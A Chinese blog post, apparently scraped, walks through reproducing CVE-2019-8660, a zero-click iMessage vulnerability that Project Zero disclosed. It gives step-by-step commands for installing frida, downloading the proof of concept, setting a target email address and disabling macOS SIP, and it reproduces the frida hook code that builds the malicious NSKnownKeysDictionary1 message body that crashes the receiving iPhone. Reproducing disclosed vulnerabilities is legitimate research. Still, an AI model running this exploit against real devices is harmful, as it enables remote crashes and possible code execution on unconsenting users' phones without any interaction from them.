CVE-2019-8660 iMessage 漏洞复现
CVE-2019-8660 iMessage 漏洞复现
近期谷歌的研究人员披露了 5 个 iOS 中安全漏洞,并公布了 POC(Proof of concept),攻击者利用这些漏洞可以通过 iMessage 发送精心设计的消息来攻击 iOS 设备,这些漏洞不需要和任何用户交互,只要目标机 iMessage 信息接收成功即可触发漏洞。
CVE-2019-8660、 CVE-2019-8662、 CVE-2019-8647 这三个漏洞可以导致系统重启,或者任意代码执行。
CVE-2019-8646 这个漏洞可以导致任意文件读取,比如发送 iMessage 信息到目标机,可以获取到目标机的照片。
CVE-2019-8641 这个漏洞由于在最新的 12.4 系统上未修复,所以并未公布具体细节。其他 4 个漏洞已经在 12.4 修复。
复现漏洞
首先是要复现漏洞,以 CVE-2019-8660 为例,其他几个漏洞的复现方式类似。在测试之前,请打开 iOS 设备上的 iMessage 的消息接收,方法是点击设置 -> 信息 -> 打开 iMessage 信息开关。下面是复现漏洞的具体步骤:
(1) 安装 python3
brew install python3
(2) 安装 frida
pip3 install frida
(3) 下载并解压 POC,下载地址是: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=398583&signed_aid=aRa647CnzpRUCj7nXIOEKA==
(4) 将 sendMessage.py 里的 receiver 替换成目标邮箱地址
#receiver = "YOUR EMAIL"
receiver = "exchen99@foxmail.com"
(5) 将 injectMessage.js 里的 obj 文件的路径填写成你本机的
//var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");
(6) 需要关闭 SIP (System Integrity Protection,系统完整性保护),方法是重启按住 Commond + R 进入 recovery 模式,在实用工具里打开终端,输入 csrutil disable 即可禁用 SIP,然后重启进入正常模式。测试完漏洞之后别忘记打开 SIP,方法是:进入 recovery 模式,输入 csrutil enable。如果没有这一步操作,frida 注入进程可能会失败。
(7) 最后执行 sendMessage.py 发送 iMessage,只要目标机接收到 iMessage 消息即可以触发漏洞,并不需要点击查看。
python3 sendMessage.py
触发漏洞的目标机重启之后,打开短信应用会闪退,原因是之前测试的那条带漏洞的 iMessage 消息还存在,会被短信应用加载,加载错误就闪退了。解决的方法是给目标机多发送几条正常的信息,这样会覆盖掉带漏洞的短信,然后在搜索栏输入关键字定位到有问题的短信,删除即可。
POC 的实现原理
POC 的实现原理是使用 AppleScript 调用 macOS 的信息应用对目标发送 iMessage 消息,其中使用 frida 对 jw_encode_dictionary_addr 函数进行 Hook,修改原始的消息体结构。在 injectMessage.js 里有构造带有漏洞的 iMessage 消息体的代码,核心代码如下:
console.log(dict); //打印原始正常的消息体
//对正常的消息体进行修改,构造带有漏洞的消息体
var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");
console.log(d); //打印obj文件
newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid");
newDict.setObject_forKey_(d, "bp"); //obj文件
// newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");newDict.setObject_forKey_(8, "gv");
newDict.setObject_forKey_(0, "pv");
newDict.setObject_forKey_(1, "v");
newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid");
newDict.setObject_forKey_(d, "bp");
newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r");
newDict.setObject_forKey_(1, "v");newDict.setObject_forKey_("\Ufffd\Ufffc", "t");
args[0] = newDict.handle;
替换的 iMessage 消息体会放入 obj 文件,obj 文件里有一个 NSKnownKeyDictionary1 对象,正是因为解析 NSKnownKeyDictionary1 对象时引发问题造成的漏洞的触发。
<dict><key>$classes</key><array><string>NSDictionary</string><string>NSObject</string></array><key>$classname</key><string>NSKnownKeysDictionary1</string>
</dict>
<dict><key>$classes</key><array><string>NSKnownKeysMappingStrategy1</string><string>NSObject</string></array><key>$classname</key><string>NSKnownKeysMappingStrategy1</string>
</dict>
<string>i am very long indeed</string>
<dict>
上面的 obj 文件实际上是 Archive (归档)文件, 通过 NSKeyedArchiver 里的方法可以构造 Archive 文件,示例如下:
NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&err];
if (!data) {NSLog(@"Error: %@", err);return;
}
[data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];
iMessage 的消息内容是在 sendMessage.py,我们可以替换 REPLACEME 发送自定义的消息
subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]
然后在 injectMessage.js 中也需要将 REPLACEME 保持和自定义的消息内容一致
if (t == "REPLACEME")
参考资料:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1884
https://bugs.chromium.org/p/project-zero/issues/detail?id=1874
https://bugs.chromium.org/p/project-zero/issues/detail?id=1873
https://bugs.chromium.org/p/project-zero/issues/detail?id=1858
Author: exchen
原文地址:https://www.exchen.net/ios-jpg-system-crash.html
CVE-2019-8660 iMessage 漏洞复现相关推荐
- CVE(2017-15715、2021-41773、2021-40438)漏洞复现
仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...
- Drupal漏洞复现:CVE-2019-6341
近期遇到Drupal漏洞,研究了一下,给大家分享一篇复现,望共鸣 前言: Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏 ...
- CVE-2022-30190(follina):Microsoft诊断工具(MSDT)远程代码执行漏洞复现(超级详细)
文章目录 免责声明 前言 一.漏洞简介 风险等级评判 二.影响版本 office版本 三.漏洞复现 复现环境 工具 使用方法 利用 第一种 第二种 防范避免 结尾 参考 免责声明 本文章仅供学习和研究 ...
- CVE-2019-1388 Windows UAC 漏洞复现
CVE-2019-1388 Windows UAC 漏洞复现 文章目录 CVE-2019-1388 Windows UAC 漏洞复现 1. 概述 1.1 UAC 1.2 漏洞简述 1.3 风险等级 1 ...
- docker逃逸漏洞复现 cve-2019-5736
0x01 概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现.该漏洞编号为CVE-2019-5736,漏洞影 ...
- Winrar目录穿越漏洞复现
Winrar目录穿越漏洞复现 1.漏洞概述 WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在Windows环境下的图形界面.2019年 2 月 20 日Check Point团队爆出了 ...
- android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...
0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android平台上发现了一个高危漏洞 该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用 ...
- java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...
学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...
- php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现
0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...
最新文章
- axios post body参数_Vue开发中的一些问题(axios封装)
- iOS设计模式之原型模式
- grunt合并压缩js、css文件
- buu [BJDCTF 2nd]签到-y1ng
- cocos2dx打飞机项目笔记五:CCSpriteBatchNode 的使用
- 你真的懂你的用户吗?
- 14-angular.isDefined
- struts2上传文件
- 笔记本删除隐藏分区 释放固态硬盘空间
- 12. No More MVC
- Java线程基础(二)
- nodejs的moment操作时间
- 简易矩阵乘法计算器2.0
- Cluster sampling整群抽样例子
- pdf 添加水印、页眉页脚、签名
- win7修复计算机无鼠标,win7电脑鼠标不听使唤反应慢如何修复
- uniapp 使用pdf.js 加载本地pdf文件报错问题
- python--format
- Python grid布局
- 《现代控制理论》第5章